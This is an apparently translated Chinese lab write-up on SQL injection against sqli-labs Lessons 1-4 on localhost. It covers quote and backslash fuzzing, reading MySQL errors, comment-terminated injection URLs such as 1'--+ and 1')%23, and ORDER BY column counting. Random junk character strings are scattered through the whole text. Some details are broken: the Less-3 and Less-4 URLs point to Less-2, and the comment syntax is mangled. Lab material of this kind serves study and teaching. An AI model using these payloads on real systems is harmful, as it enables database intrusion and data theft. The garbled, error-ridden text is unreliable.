/ V! S: \8 R2 \# s整数和字符串测试的结果:我们看到,Less1、Less3、Less4返回的页面是空的,没有任何结果和报错,而Less2返回不同的,有一个MySQL错误消息。 从非常基本的编程技术,我们知道一个字符串参数始终包裹在单引号或双引号中,而整数不是这样。 因此,我们可以假设,Less1、Less3和Less4使用某种形式的引号包裹用户输入。他们认为输入的字符串值在数据库中不存在的,因此返回空值。Less2产生了一个错误提示,这意味着用户输入没有被引号包裹,因此整数型的输入在查询中正常工作,但是输入字符串值确产生了报错。 综上,我们可以推断出, less1、less3、less4是基于字符串的注入,而less2是一个整数型的注入。 ; q# X; g7 n" N& X, b继续模糊化:现在,让我们进一步采取模糊的字符., @3 k' v9 q+ I, m" M6 u- @
用单引号来进行测试4 k: @3 J/ s! Q9 a
less1) K# z* ^2 E* f5 j
http://localhost/sqli-labs/Less-1/?id=1‘ # Y6 G- B9 V; {You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1+ c# P% h& W7 h9 L: g
less2, B9 ?: v, i. G- g
http://localhost/sqli-labs/Less-2/?id=1 ’ 3 U+ g/ m9 u) WYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1′ at line 1 8 v% \: D; X+ ]& G: n' q" n . `" z" j8 N" F0 ^; j" X% f8 rless3 4 {( U2 t! C6 [5 bhttp://localhost/sqli-labs/Less-3/?id=1 ’& u; K8 j" p& d& E! V4 N- _2 J( h
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”) LIMIT 0,1′ at line 15 _" [/ E S$ c
所有这三个都产生错误提示,只有less4没有错误提示,反正正常的查询结果.. X `, M2 a5 q) w; \( `. }
用双引号进行测试4 a) Y9 N# C+ f1 I, G# J+ a
用双引号测试发现只有less4会产生错误提示,less1、less2、less3都返回正常的结果。 u5 j2 j: t0 \" s* M1 {7 ~
; d+ b6 o l' c; N* E; s
通过上面的测试,less1、less2、less3是单引号注入,而less4是双引号注入. 3 [3 u b! I4 C- m% ] % a. m o8 K1 ~) }) E! _( f: y8 j综合所有的测试,less1、less3、less4是基于字符串的注入,而less2是基于数字的注入。" J# c. N/ [4 J/ B# _
用\进行测试' m7 B/ M! l3 W4 E! g4 K
“\”转义符在mysql中是为了打印具有特殊意义的字符串。测试结果如下: 8 s: g) L; a- S2 N8 fless1! Y! p3 J! z4 e! c% y @& t" B
http://localhost/sqli-labs/Less-1/?id=1\ ( H6 W9 F6 ~! s4 F9 }" g% GYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’ LIMIT 0,1′ at line 1 X$ l U# m- x7 ?* b. zless29 @! e! r' A2 ^7 e# }
http://localhost/sqli-labs/Less-2/?id=1\' G! p. Z- L4 i4 J
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘\ LIMIT 0,1′ at line 1 4 [6 k7 i; T" [0 I$ a% k$ ^4 b% U. Iless3 + L* A' H7 l* q4 w- ^/ g. Ehttp://localhost/sqli-labs/Less-3/?id=1\ / u0 j/ E5 a2 R: R, tYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ”1\’) LIMIT 0,1′ at line 1) d- F. C8 R+ h) F" `5 W6 Y
less4 % I3 J& ]8 R+ } u% d% c: k7 khttp://localhost/sqli-labs/Less-4/?id=1\ - _& m" K" K8 _, H. N+ ~You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ‘”1\”) LIMIT 0,1′ at line 1 : n t- G7 r3 |less1的报错,当我们输入1\的时候,报错信息中1\附近可以看到一个单引号,说明输入字符串是被单引号所包裹的。 ( n" u* ?# [7 J9 j9 {5 e7 s, Lless2的报错信息,当我们输入1\的时候,报错信息中没有返回引号,说明less2是一个整数类型的注入,不需要用引号来突破查询获取结果。 , Y) p! C7 ~& r" q! Yless3报错信息,当我们输入1\的时候,报错信息中1\后面出现了’),说明应用程序中的变量是在括号中的,如(‘var’). - K- i$ T5 L" O0 d$ Wless4的报错信息,当我们输入1\的时候,报错信息中1\后面出现了”),说明应用程序中的变量var是这样的,如(“var”). 1 k7 T. f, L5 o这四种情况在后端查询中使用的语句实际分别为: 5 m' G0 H9 q R8 @4 _( ]; _Less-1: SELECT * FROM TABLE_NAME WHERE ID=’$ID’ LIMIT 0,1 2 {* B0 d& q0 S l# K) ^. BLess-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,1 " u& I: a, z* C0 W$ DLess-3: SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,1 2 @0 n9 _6 g" k+ O7 GLess-4: SELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,1 / D, R* f7 ]+ i7 A& G9 h 9 Q+ n5 g& [) G* p/ z: V" x- ~, [对于一个成功的注入,应该关闭查询语句中围绕在变量周围的分隔符,从而使我们逃避字符串/整数的编辑,并且成功执行sql语句.有两种方法,一种是注释掉其余的查询语句,另外一种是增加额外的分隔符,多余的分隔符使查询语句在语法上是正确的,如: , k" E" X6 |8 x r6 XLess-1: SELECT * FROM TABLE_NAME WHERE ID=’ $ID ‘ LIMIT 0,1 0 K' ?- {, N% n& [1 k }$ C; l当我们输入的参数$ID的值为1‘,查询语句就会变成如下: D8 d. C$ U2 _& N8 K
SELECT * FROM TABLE_NAME WHERE ID=’ 1′ ‘ LIMIT 0,10 _9 }+ k1 T- A3 @, k
现在这个查询语句是不正确的,我们需要解决多余的’号,这个’号是原始查询的一部分,可以用以下方法: ( K) j& m; P8 G; U' }方法一: 2 y: I; r( r/ X可以使用sql注释来修复语法问题,mysql使用三种类型的注释:-+、#、/**/ 。因此我们可以使用1′-+或者1′#/ K' u; I: K' J7 \/ ~( w+ m
查询语句将变为如下: * U8 f4 F" ], e4 o0 [SELECT * FROM TABLE_NAME WHERE ID=’ 1′–+ ‘ LIMIT 0,1 " {! ]' F+ U! w3 f6 {SELECT * FROM TABLE_NAME WHERE ID=’ 1′ # ‘ LIMIT 0,1+ ?' `: q0 D/ |, R% O
注射的完整URL如下: ( S0 Q! S6 A% |/ l9 r5 H' k" N7 U9 nhttp://localhost/sqli-labs/Less-1/?id=1′–+2 n" Q. j$ Y/ p) Y4 [# O( l5 Y) w- J
http://localhost/sqli-labs/Less-1/?id=1′ %23 ! p, B4 n5 a2 N4 f1 [2 Y0 ^(%23是#号的url编码)" L9 y! l' v0 B; ^' D( d
在less2中,因为没有额外的引号,所以只需要注释掉后面的语句就可以了,查询语句和完整的sql注射URL如下: 9 k( `4 D+ i" E9 g; g) {$ xhttp://localhost/sqli-labs/Less-2/?id=1–+ 7 @3 I5 M E: ^; c7 {' E' b! }* O7 [$ p+ b" r( A& I
ttp://localhost/sqli-labs/Less-2/?id=1 %234 s: G7 r( i& |
SELECT * FROM TABLE_NAME WHERE ID= 1–+ LIMIT 0,1% L" v" b& e& Z# i; v
SELECT * FROM TABLE_NAME WHERE ID= 1# LIMIT 0,1 5 H y; p2 N" ^ K7 F在less3中,我们推断后端sql语句如下:6 q1 @2 K! u/ \9 t5 a* R% T. j
SELECT * FROM TABLE_NAME WHERE ID=(‘$ID’) LIMIT 0,19 j" C4 S: w& I' R& I2 _
所以我们需要想办法先关闭掉分隔符,然后再注释掉后面的语句 ! b7 W: F( }; {* `1 p [" PSELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) –+ ‘) LIMIT 0,13 e$ {7 w8 F4 j, S; x9 R
SELECT * FROM TABLE_NAME WHERE ID=(‘ 1′) # ‘) LIMIT 0,1 ' o# p$ C3 w) V, R5 e注射: 1′) –+ 1′) # - i; `2 ]& s0 T完整的注射URL:7 q" h* Q: W# Y: t# j0 R! U' l' u
http://localhost/sqli-labs/Less-2/?id=1‘)-+" V5 f; d8 U& ^0 r1 A. Y+ e
http://localhost/sqli-labs/Less-2/?id=1′) %23, R* X6 a% T$ d
在less4中,我们推广后端sql语句如下: 3 o( z4 `; x; Z/ vSELECT * FROM TABLE_NAME WHERE ID=(“$ID”) LIMIT 0,19 _* o8 ?. n7 E% \' S, a( k
同样,需要关闭掉分隔符,然后注释掉后面的语句+ v( X8 o. K, N' }5 P; h+ b
SELECT * FROM TABLE_NAME WHERE ID=(” 1″) –+ “) LIMIT 0,1 8 {# B& g) }8 BSELECT * FROM TABLE_NAME WHERE ID=(” 1″) # “) LIMIT 0,1 6 G7 D$ ~ x/ C+ D! N注射: 1″) –+ 1″) # , Z; Y' h' ^: v* Ohttp://localhost/sqli-labs/Less-2/?id=1″)–+ J3 h) S: q, O! mhttp://localhost/sqli-labs/Less-2/?id=1 “)%23 $ x; S: P; {6 e; L, y- T通过查询了解表中的字段数$ G$ o( z" |9 ]( R6 m6 y U0 b7 p& U
正如我们看到的,在枚举阶段,应用程序与数据库进行交互,并在网页上显示一些信息,这个过程经常会用到union语句联合查询数据库中的信息。使用union语句的一个限制是两个表或者多个表中的字段必须数量一致,因此需要用order by语句来判断字段数量。当只有N个字段时,如果你order by N+1或更大,就报错了。 ; u* ~% |5 S8 I$ B: R/ P1 p3 { ?下面我们测试用order by 1,order by 2……等来查询观察结果. " p' `1 ^9 z/ j4 ^1 E+ mhttp://localhost/sqli-labs/Less-1/?id=1′ order by 1-+ 返回正常页面 . B) V0 B, O$ \3 Qhttp://localhost/sqli-labs/Less-1/?id=1′ order by 4-+返回错误页面,说明表中只有3列. 8 r/ Z3 j% o3 yLesson2:) M5 D; @' s1 u S% U' R0 \! L
Injection: 1 ORDER BY 1 –+ => 没有错误. 6 j$ `+ Y9 y! DInjection: 1 ORDER BY 2–+ => 没有错误.$ B2 i* Q; U- g0 F# e% w
Injection: 1 ORDER BY 3 –+ => 没有错误. # O7 F: V* c/ H8 Q s- _$ Y5 W7 {Injection: 1 ORDER BY 4 –+ => 错误 – 可以确定表中只有三列. C( H' S, |& [ x/ S/ M当我们知道了表中的字段数,我们就可以继续下一步查询相关的字段名或者字段值了。 8 I( }7 r7 o/ P! u7 h! K$ } 9 S2 |& Y3 r) X; i- m# y本文是由阿德马翻译,转载请注明出处.本人有一个学习测试环境,目前还没有搭建好。